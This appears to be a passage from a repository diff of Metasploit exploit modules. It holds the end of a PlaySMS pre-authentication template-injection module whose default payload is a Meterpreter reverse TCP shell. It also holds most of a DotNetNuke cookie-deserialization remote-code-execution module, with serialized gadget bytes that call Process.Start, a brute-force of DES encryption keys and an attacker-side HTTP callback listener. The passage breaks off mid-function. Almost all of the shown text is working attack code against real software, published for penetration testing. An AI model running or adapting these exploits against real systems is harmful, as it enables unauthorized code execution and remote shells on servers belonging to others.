'Name' => 'PlaySMS index.php Unauthenticated Template Injection Code Execution',
'Description' => %q{
This module exploits a preauth Server-Side Template Injection vulnerability that leads to remote code execution
in PlaySMS before version 1.4.3. This issue is caused by double processing a server-side template with a custom
PHP template system called 'TPL' which is used in the PlaySMS template engine at
`src/Playsms/Tpl.php:_compile()`. The vulnerability is triggered when an attacker supplied username with a
malicious payload is submitted. This malicious payload is then stored in a TPL template which when rendered a
second time, results in code execution.
The TPL(https://github.com/antonraharja/tpl) template language is vulnerable to PHP code injection.
This module was tested against PlaySMS 1.4 on HackTheBox's Forlic Machine.
},
'Author' =>
[
'Touhid M.Shaikh <touhidshaikh22[at]gmail.com>', # Metasploit Module
'Lucas Rosevear' # Found and Initial PoC by NCC Group
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2020-8644'],
['URL', 'https://www.youtube.com/watch?v=zu-bwoAtTrc'],
['URL', 'https://research.nccgroup.com/2020/02/11/technical-advisory-playsms-pre-authentication-remote-code-execution-cve-2020-8644/']
],
'DefaultOptions' =>
{
'SSL' => false,
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'ENCODER' => 'php/base64'
},
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'PlaySMS Before 1.4.3', {} ],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2020-02-05'
)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'Base playsms directory path', '/']),
]
)
end
def uri
return target_uri.path
end
def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php')
})
rescue StandardError
vprint_error('Unable to access the index.php file')
return CheckCode::Unknown
end
if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_auth&route=login')
return Exploit::CheckCode::Appears
end
return CheckCode::Safe
end
# Send Payload in Login Request
def login
res = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'method' => 'GET',
'vars_get' => {
'app' => 'main',
'inc' => 'core_auth',
'route' => 'login'
}
})
# Grabbing CSRF token from body
/name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine the CSRF token") if csrf.nil?
vprint_good("X-CSRF-Token for login : #{csrf}")
cookies = res.get_cookies
vprint_status('Trying to send the payload in the username field...')
# Encoded in base64 to avoid HTML TAGS which are filter by the Application which is also blocking semicolon(;), that is why we're using delete_suffix(';')
evil = "{{#{payload.encoded.delete_suffix(';')}}}"
# Send Payload with cookies.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php'),
'cookie' => cookies,
'vars_get' => Hash[{
'app' => 'main',
'inc' => 'core_auth',
'route' => 'login',
'op' => 'login'
}.to_a.shuffle],
'vars_post' => Hash[{
'X-CSRF-Token' => csrf,
'username' => evil,
'password' => ''
}.to_a.shuffle]
})
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?
# Request Status Check
if res.code == 302
print_good('Payload successfully sent')
return cookies
else
fail_with(Failure::UnexpectedReply, "#{peer} - Something went wrong")
end
end
def exploit
cookies = login
vprint_status("Cookies here : #{cookies}")
# Execute Last Sent Username.
send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'method' => 'GET',
'cookie' => cookies,
'vars_get' => {
'app' => 'main',
'inc' => 'core_auth',
'route' => 'login'
}
}, 0)
end
end

970
exploits/windows/remote/48336.rb Executable file
View file

@ -0,0 +1,970 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/powershell'
require 'openssl'
require 'set'
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HttpServer
Rank = ExcellentRanking
# =================================
# Overidden setup method to allow
# for delayed handler start
# =================================
def setup
# Reset the session counts to zero.
reset_session_counts
return if !payload_instance
return if !handler_enabled?
# Configure the payload handler
payload_instance.exploit_config = {
'active_timeout' => active_timeout
}
# payload handler is normally set up and started here
# but has been removed so we can start the handler when needed.
end
def initialize(info = {})
super(update_info(
info,
'Name' => "DotNetNuke Cookie Deserialization Remote Code Execution",
'Description' => %q(
This module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 to 9.3.0-RC.
Vulnerable versions store profile information for users in the DNNPersonalization cookie as XML.
The expected structure includes a "type" attribute to instruct the server which type of object to create on deserialization.
The cookie is processed by the application whenever it attempts to load the current user's profile data.
This occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration).
An attacker can leverage this vulnerability to execute arbitrary code on the system.
),
'License' => MSF_LICENSE,
'Author' => [ 'Jon Park', 'Jon Seigel' ],
'References' =>
[
[ 'CVE', '2017-9822' ],
[ 'CVE', '2018-15811'],
[ 'CVE', '2018-15812'],
[ 'CVE', '2018-18325'], # due to failure to patch CVE-2018-15811
[ 'CVE', '2018-18326'], # due to failure to patch CVE-2018-15812
[ 'URL', 'https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf'],
[ 'URL', 'https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html'],
[ 'URL', 'https://github.com/pwntester/ysoserial.net']
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { 'auto' => true } ],
[ 'v5.0 - v9.0.0', { 'ReqEncrypt' => false, 'ReqSession' => false } ],
[ 'v9.0.1 - v9.1.1', { 'ReqEncrypt' => false, 'ReqSession' => false } ],
[ 'v9.2.0 - v9.2.1', { 'ReqEncrypt' => true, 'ReqSession' => true } ],
[ 'v9.2.2 - v9.3.0-RC', { 'ReqEncrypt' => true, 'ReqSession' => true } ]
],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Payload' =>
{
},
'Privileged' => false,
'DisclosureDate' => "Jul 20 2017",
'DefaultOptions' => { 'WfsDelay' => 5 },
'DefaultTarget' => 0
))
deregister_options('SRVHOST')
register_options(
[
OptString.new('TARGETURI', [true, 'The path that will result in the DNN 404 response', '/__']),
OptBool.new('DryRun', [false, 'Performs target version check, finds encryption KEY and IV values if required, and outputs a cookie payload', false]),
OptString.new('VERIFICATION_PLAIN', [false, %q(The known (full or partial) plaintext of the encrypted verification code.
Typically in the format of {portalID}-{userID} where portalID is an integer and userID is either an integer or GUID (v9.2.2+)), '']),
OptBool.new('ENCRYPTED', [true, %q(Whether or not to encrypt the final payload cookie;
(VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV) are required if set to true.), false]),
OptString.new('KEY', [false, 'The key to use for encryption.', '']),
OptString.new('IV', [false, 'The initialization vector to use for encryption.', '']),
OptString.new('SESSION_TOKEN', [false, %q(The .DOTNETNUKE session cookie to use when submitting the payload to the target server.
DNN versions 9.2.0+ require the attack to be submitted from an authenticated context.), '']),
OptString.new('VERIFICATION_CODE', [false, %q(The encrypted verification code received in a registration email.
Can also be the path to a file containing a list of verification codes.), ''])
]
)
initialize_instance_variables
end
def initialize_instance_variables
# ==================
# COMMON VARIABLES
# ==================
@target_idx = 0
# Flag for whether or not to perform exploitation
@dry_run = false
# Flag for whether or not the target requires encryption
@encrypted = false
# Flag for whether or not to attempt to decrypt the provided verification token(s)
@try_decrypt = false
# ==================
# PAYLOAD VARIABLES
# ==================
# ObjectStateFormatter serialized header
@osf_header = [255, 1, 50]
# ObjectStateFormatter serialized data before the command payload
@osf_wrapper_start = [
0, 1, 0, 0, 0, 255, 255, 255, 255, 1, 0, 0, 0, 0, 0, 0, 0, 12, 2, 0, 0, 0, 73,
83, 121, 115, 116, 101, 109, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52,
46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101,
117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84,
111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101,
48, 56, 57, 5, 1, 0, 0, 0, 132, 1, 83, 121, 115, 116, 101, 109, 46, 67, 111,
108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101, 114, 105,
99, 46, 83, 111, 114, 116, 101, 100, 83, 101, 116, 96, 49, 91, 91, 83, 121,
115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111,
114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48,
46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117,
116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111,
107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56,
57, 93, 93, 4, 0, 0, 0, 5, 67, 111, 117, 110, 116, 8, 67, 111, 109, 112, 97,
114, 101, 114, 7, 86, 101, 114, 115, 105, 111, 110, 5, 73, 116, 101, 109, 115,
0, 3, 0, 6, 8, 141, 1, 83, 121, 115, 116, 101, 109, 46, 67, 111, 108, 108, 101,
99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101, 114, 105, 99, 46, 67, 111,
109, 112, 97, 114, 105, 115, 111, 110, 67, 111, 109, 112, 97, 114, 101, 114,
96, 49, 91, 91, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103,
44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105,
111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114,
101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99,
75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49,
57, 51, 52, 101, 48, 56, 57, 93, 93, 8, 2, 0, 0, 0, 2, 0, 0, 0, 9, 3, 0, 0, 0,
2, 0, 0, 0, 9, 4, 0, 0, 0, 4, 3, 0, 0, 0, 141, 1, 83, 121, 115, 116, 101, 109,
46, 67, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101,
114, 105, 99, 46, 67, 111, 109, 112, 97, 114, 105, 115, 111, 110, 67, 111, 109,
112, 97, 114, 101, 114, 96, 49, 91, 91, 83, 121, 115, 116, 101, 109, 46, 83,
116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32,
86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67,
117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80,
117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55,
97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 93, 1, 0, 0, 0, 11,
95, 99, 111, 109, 112, 97, 114, 105, 115, 111, 110, 3, 34, 83, 121, 115, 116,
101, 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108,
105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 9, 5, 0, 0, 0,
17, 4, 0, 0, 0, 2, 0, 0, 0, 6, 6, 0, 0, 0
]
# ObjectStateFormatter serialized data to place after the command payload.
@osf_wrapper_end = [
6, 7, 0, 0, 0, 3, 99, 109, 100, 4, 5, 0, 0, 0, 34, 83, 121, 115, 116, 101,
109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108,
105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 3, 0, 0, 0, 8,
68, 101, 108, 101, 103, 97, 116, 101, 7, 109, 101, 116, 104, 111, 100, 48, 7,
109, 101, 116, 104, 111, 100, 49, 3, 3, 3, 48, 83, 121, 115, 116, 101, 109,
46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, 105,
122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 43, 68, 101, 108,
101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 47, 83, 121, 115, 116, 101,
109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 46, 77, 101, 109,
98, 101, 114, 73, 110, 102, 111, 83, 101, 114, 105, 97, 108, 105, 122, 97,
116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 47, 83, 121, 115, 116, 101,
109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 46, 77, 101, 109,
98, 101, 114, 73, 110, 102, 111, 83, 101, 114, 105, 97, 108, 105, 122, 97,
116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 9, 8, 0, 0, 0, 9, 9, 0, 0,
0, 9, 10, 0, 0, 0, 4, 8, 0, 0, 0, 48, 83, 121, 115, 116, 101, 109, 46, 68,
101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, 105, 122, 97,
116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 43, 68, 101, 108, 101, 103,
97, 116, 101, 69, 110, 116, 114, 121, 7, 0, 0, 0, 4, 116, 121, 112, 101, 8,
97, 115, 115, 101, 109, 98, 108, 121, 6, 116, 97, 114, 103, 101, 116, 18,
116, 97, 114, 103, 101, 116, 84, 121, 112, 101, 65, 115, 115, 101, 109, 98,
108, 121, 14, 116, 97, 114, 103, 101, 116, 84, 121, 112, 101, 78, 97, 109,
101, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 13, 100, 101, 108,
101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 1, 1, 2, 1, 1, 1, 3, 48, 83,
121, 115, 116, 101, 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101,
114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101,
114, 43, 68, 101, 108, 101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 6, 11,
0, 0, 0, 176, 2, 83, 121, 115, 116, 101, 109, 46, 70, 117, 110, 99, 96, 51,
91, 91, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32,
109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111,
110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114,
101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99,
75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49,
57, 51, 52, 101, 48, 56, 57, 93, 44, 91, 83, 121, 115, 116, 101, 109, 46, 83,
116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44,
32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32,
67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44,
32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98,
55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 44, 91, 83,
121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99,
115, 46, 80, 114, 111, 99, 101, 115, 115, 44, 32, 83, 121, 115, 116, 101,
109, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46,
48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114,
97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101,
110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93,
93, 6, 12, 0, 0, 0, 75, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86,
101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67,
117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32,
80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55,
55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 10, 6, 13, 0, 0, 0,
73, 83, 121, 115, 116, 101, 109, 44, 32, 86, 101, 114, 115, 105, 111, 110,
61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61,
110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101,
121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51,
52, 101, 48, 56, 57, 6, 14, 0, 0, 0, 26, 83, 121, 115, 116, 101, 109, 46, 68,
105, 97, 103, 110, 111, 115, 116, 105, 99, 115, 46, 80, 114, 111, 99, 101,
115, 115, 6, 15, 0, 0, 0, 5, 83, 116, 97, 114, 116, 9, 16, 0, 0, 0, 4, 9, 0,
0, 0, 47, 83, 121, 115, 116, 101, 109, 46, 82, 101, 102, 108, 101, 99, 116,
105, 111, 110, 46, 77, 101, 109, 98, 101, 114, 73, 110, 102, 111, 83, 101,
114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101,
114, 7, 0, 0, 0, 4, 78, 97, 109, 101, 12, 65, 115, 115, 101, 109, 98, 108,
121, 78, 97, 109, 101, 9, 67, 108, 97, 115, 115, 78, 97, 109, 101, 9, 83,
105, 103, 110, 97, 116, 117, 114, 101, 10, 83, 105, 103, 110, 97, 116, 117,
114, 101, 50, 10, 77, 101, 109, 98, 101, 114, 84, 121, 112, 101, 16, 71, 101,
110, 101, 114, 105, 99, 65, 114, 103, 117, 109, 101, 110, 116, 115, 1, 1, 1,
1, 1, 0, 3, 8, 13, 83, 121, 115, 116, 101, 109, 46, 84, 121, 112, 101, 91,
93, 9, 15, 0, 0, 0, 9, 13, 0, 0, 0, 9, 14, 0, 0, 0, 6, 20, 0, 0, 0, 62, 83,
121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99,
115, 46, 80, 114, 111, 99, 101, 115, 115, 32, 83, 116, 97, 114, 116, 40, 83,
121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83, 121,
115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 6, 21, 0, 0, 0, 62,
83, 121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105,
99, 115, 46, 80, 114, 111, 99, 101, 115, 115, 32, 83, 116, 97, 114, 116, 40,
83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83,
121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 8, 0, 0, 0,
10, 1, 10, 0, 0, 0, 9, 0, 0, 0, 6, 22, 0, 0, 0, 7, 67, 111, 109, 112, 97,
114, 101, 9, 12, 0, 0, 0, 6, 24, 0, 0, 0, 13, 83, 121, 115, 116, 101, 109,
46, 83, 116, 114, 105, 110, 103, 6, 25, 0, 0, 0, 43, 73, 110, 116, 51, 50,
32, 67, 111, 109, 112, 97, 114, 101, 40, 83, 121, 115, 116, 101, 109, 46,
83, 116, 114, 105, 110, 103, 44, 32, 83, 121, 115, 116, 101, 109, 46, 83,
116, 114, 105, 110, 103, 41, 6, 26, 0, 0, 0, 50, 83, 121, 115, 116, 101,
109, 46, 73, 110, 116, 51, 50, 32, 67, 111, 109, 112, 97, 114, 101, 40, 83,
121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83, 121,
115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 8, 0, 0, 0, 10, 1,
16, 0, 0, 0, 8, 0, 0, 0, 6, 27, 0, 0, 0, 113, 83, 121, 115, 116, 101, 109,
46, 67, 111, 109, 112, 97, 114, 105, 115, 111, 110, 96, 49, 91, 91, 83, 121,
115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 109, 115, 99,
111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52,
46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110,
101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101,
121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51,
52, 101, 48, 56, 57, 93, 93, 9, 12, 0, 0, 0, 10, 9, 12, 0, 0, 0, 9, 24, 0,
0, 0, 9, 22, 0, 0, 0, 10, 11
]
@cr_regex = /(?<=Copyright \(c\) 2002-)(\d{4})/
# ==================
# v9.1.1+ VARIABLES
# ==================
@key_charset = "02468ABDF"
@verification_codes = []
@iv_regex = /[0-9A-F]{8}/
# Known plaintext
@kpt = ""
# Encryption objects
@decryptor = OpenSSL::Cipher.new('des')
@decryptor.decrypt
@encryptor = OpenSSL::Cipher.new('des')
@encryptor.encrypt
# final passphrase (key +iv) to use for payload (v9.1.1+)
@passphrase = ""
# ==================
# v9.2.0+ VARIABLES
# ==================
# Session token needed for exploitation (v9.2.0+)
@session_token = ""
# ==================
# v9.2.2+ VARIABLES
# ==================
# User ID format (v9.2.2+)
# Number of characters of user ID available in plaintext
# is equal to the length of a GUID (no spaces or dashes)
# minus (blocksize - known plaintext length).
@user_id_pt_length = 32 - (8 - @kpt.length)
@user_id_regex = /[0-9a-f]{#{@user_id_pt_length}}/
# Plaintext found from decryption (v9.2.2+)
@found_pt = ""
@iv_charset = "0123456789abcdef"
# Possible IVs used to encrypt verification codes (v9.2.2+)
@possible_ivs = Set.new([])
# Possible keys used to encrypt verification codes (v9.2.2+)
@possible_keys = Set.new([])
# passphrases (key + iv) values to use for payload encryption (v9.2.2+)
@passphrases = []
# char sets to use when generating possible base keys
@unchanged = Set.new([65,70])
end
def decode_verification(code)
# Decode verification code base don DNN format
return String.new(
Rex::Text.decode_base64(
code.chomp.gsub(".", "+").gsub("-", "/").gsub("_", "=")
)
)
end
# ==============
# Main function
# ==============
def exploit
return unless check == Exploit::CheckCode::Appears
@encrypted = datastore['ENCRYPTED']
verification_code = datastore['VERIFICATION_CODE']
if File.file?(verification_code)
File.readlines(verification_code).each do |code|
@verification_codes.push(decode_verification(code))
end
else
@verification_codes.push(decode_verification(verification_code))
end
@kpt = datastore['VERIFICATION_PLAIN']
@session_token = datastore['SESSION_TOKEN']
@dry_run = datastore['DryRun']
key = datastore['KEY']
iv = datastore['IV']
if target['ReqEncrypt'] && @encrypted == false
print_warning("Target requires encrypted payload. Exploit may not succeed.")
end
if @encrypted
# Requires either supplied key and IV, or verification code and plaintext
if (!key.blank? && !iv.blank?)
@passphrase = key + iv
# Key and IV were supplied, don't try and decrypt.
@try_decrypt = false
elsif (!@verification_codes.empty? && !@kpt.blank?)
@try_decrypt = true
else
fail_with(Failure::BadConfig, "You must provide either (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV).")
end
end
if target['ReqSession']
if @session_token.blank?
fail_with(Failure::BadConfig, "Target requires a valid SESSION_TOKEN for exploitation.")
end
end
if @encrypted && @try_decrypt
# Set IV for decryption as the known plaintext, manually
# apply PKCS padding (N bytes of N), and disable padding on the decryptor to increase speed.
# For v9.1.1 - v9.2.1 this will find the valid KEY and IV value in real time.
# For v9.2.2+ it will find an initial base key faster than if padding were enabled.
f8_plain = @kpt[0, 8]
c_iv = f8_plain.unpack("C*") + [8 - f8_plain.length] * (8 - f8_plain.length)
@decryptor.iv = String.new(c_iv.pack("C*"))
@decryptor.padding = 0
key = find_key(@verification_codes[0])
if key.blank?
return
end
if @target_idx == 4
# target is v9.2.2+, requires base64 generated key and IV values.
generate_base_keys(0, key.each_byte.to_a, "")
vprint_status("Generated #{@possible_keys.size} possible base KEY values from #{key}")
# re-enable padding here as it doesn't have the
# same performance impact when trying to find possible IV values.
@decryptor.padding = 1
print_warning("Finding possible base IVs. This may take a few minutes...")
start = Time.now
find_ivs(@verification_codes, key)
elapsed = Time.now - start
vprint_status(
format(
"Found %<n_ivs>d potential Base IV values using %<n_codes>d "\
"verification codes in %<e_time>.2f seconds.",
n_ivs: @possible_ivs.size,
n_codes: @verification_codes.size,
e_time: elapsed.to_s
)
)
generate_payload_passphrases
vprint_status(format("Generated %<n_phrases>d possible base64 KEY and IV combinations.", n_phrases: @passphrases.size))
end
if @passphrase.blank?
# test all generated passphrases by
# sending an exploit payload to the target
# that will callback to an HTTP listener
# with the index of the passphrase that worked.
# set SRVHOST as LHOST value for HTTPServer mixin
datastore['SRVHOST'] = datastore['LHOST']
print_warning("Trying all possible KEY and IV combinations...")
print_status("Starting HTTP listener on port #{datastore['SRVPORT']}...")
start_service
vprint_warning("Sending #{@passphrases.count} test Payload(s) to: #{normalize_uri(target_uri.path)}. This may take a few minutes ...")
test_passphrases
# If no working passphrase has been found,
# wait to allow the the chance for the last one to callback.
if @passphrase.empty? && !@dry_run
sleep(wfs_delay)
end
if service
stop_service
end
print "\r\n"
if !@passphrase.empty?
print_good("KEY: #{@passphrase[0, 8]} and IV: #{@passphrase[8..-1]} found")
end
end
end
send_exploit_payload
end
# =====================
# For the check command
# =====================
def check
if target.name == 'Automatic'
select_target
end
@target_idx = Integer(datastore['TARGET'])
if @target_idx == 0
fail_with(Failure::NoTarget, 'No valid target found or specified.')
end
# Check if 404 page is custom or not.
# Vulnerability requires custom 404 handling (enabled by default).
uri = normalize_uri(target_uri.path)
print_status("Checking for custom error page at: #{uri} ...")
res = send_request_cgi(
'uri' => uri
)
if res.code == 404 && !res.body.include?('Server Error') && res.to_s.length > 1600
print_good("Custom error page detected.")
else
print_error("IIS Error Page detected.")
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Appears
end
# ===========================
# Auto-select target version
# ===========================
def select_target
print_status("Trying to determine DNN Version...")
# Check for copyright version in /Documentation/license.txt
uri = %r{^(.*[\\\/])}.match(target_uri.path)[0]
vprint_status("Checking version at #{normalize_uri(uri + 'Documentation', 'License.txt')} ...")
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(uri + 'Documentation', 'License.txt')
)
year = -1
if res && res.code == 200
# License page found, get latest copyright year.
matches = @cr_regex.match(res.body)
if matches
year = matches[0].to_i
end
else
vprint_status("Checking version at #{uri} ...")
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(uri)
)
if res && res.code == 200
# Check if copyright info is in page HTML.
matches = @cr_regex.match(res.body)
if matches
year = matches[0].to_i
end
end
end
if year >= 2018
print_warning(
%q(DNN Version Found: v9.2.0+ - Requires ENCRYPTED and SESSION_TOKEN.
Setting target to 3 (v9.2.0 - v9.2.1). Site may also be 9.2.2.
Try setting target 4 and supply a file of of verification codes or specifiy valid Key and IV values.")
)
datastore['TARGET'] = 3
elsif year == 2017
print_warning('DNN Version Found: v9.0.1 - v9.1.1 - May require ENCRYPTED')
datastore['TARGET'] = 2
elsif year < 2017 && year > 2008
print_good("DNN Version Found: v5.1.0 - v9.0.1")
datastore['TARGET'] = 1
elsif year == 2008
print_warning("DNN Version is either v5.0.0 (vulnerable) or 4.9.x (not vulnerable).")
datastore['TARGET'] = 1
else
print_warning("Could not determine DNN version. Target may still be vulnerable. Manually set the Target value")
end
end
# ==============================
# Known plaintext attack to
# brute-force the encryption key
# ==============================
def find_key(cipher_text)
print_status("Finding Key...")
# Counter
total_keys = @key_charset.length**8
i = 1
# Set start time
start = Time.now
# First char
@key_charset.each_byte do |a|
key = a.chr
# 2
@key_charset.each_byte do |b|
key[1] = b.chr
# 3
@key_charset.each_byte do |c|
key[2] = c.chr
# 4
@key_charset.each_byte do |d|
key[3] = d.chr
# 5
@key_charset.each_byte do |e|
key[4] = e.chr
# 6
@key_charset.each_byte do |f|
key[5] = f.chr
# 7
@key_charset.each_byte do |g|
key[6] = g.chr
# 8
@key_charset.each_byte do |h|
key[7] = h.chr
if decrypt_data_and_iv(@decryptor, cipher_text, String.new(key))
elapsed = Time.now - start
print_search_status(i, elapsed, total_keys)
print_line
if @target_idx == 4
print_good("Possible Base Key Value Found: " + key)
else
print_good("KEY Found: " + key)
print_good("IV Found: " + @passphrase[8..-1])
end
vprint_status(format("Total number of Keys tried: %<n_tried>d", n_tried: i))
vprint_status(format("Time to crack: %<c_time>.3f seconds", c_time: elapsed.to_s))
return String.new(key)
end
# Print timing info every 5 million attempts
if i % 5000000 == 0
print_search_status(i, Time.now - start, total_keys)
end
i += 1
end
end
end
end
end
end
end
end
elapsed = Time.now - start
print_search_status(i, elapsed, total_keys)
print_line
print_error("Key not found")
vprint_status(format("Total number of Keys tried: %<n_tried>d", n_tried: i))
vprint_status(format("Time run: %<r_time>.3f seconds", r_time: elapsed.to_s))
return nil
end
# ==================================
# Attempt to decrypt a ciphertext
# and obtain the IV at the same time
# ==================================
def decrypt_data_and_iv(cipher, cipher_text, key)
cipher.key = key
begin
plaintext = cipher.update(cipher_text) + cipher.final
if @target_idx == 4
# Target is v9.2.2+
user_id = plaintext[8, @user_id_pt_length]
if @user_id_regex.match(user_id)
return true
end
return false
end
# This should only execute if the version is 9.1.1 - 9.2.1
iv = plaintext[0, 8]
if !@iv_regex.match(iv)
return false
end
# Build encryption passphrase as DNN does.
@passphrase = key + iv
# Encrypt the plaintext value using the discovered key and IV
# and compare with the initial ciphertext
if cipher_text == encrypt_data(@encryptor, @kpt, @passphrase)
@passphrases.push(String.new(key + iv))
return true
end
rescue StandardError
# Ignore decryption errors to allow execution to continue
return false
end
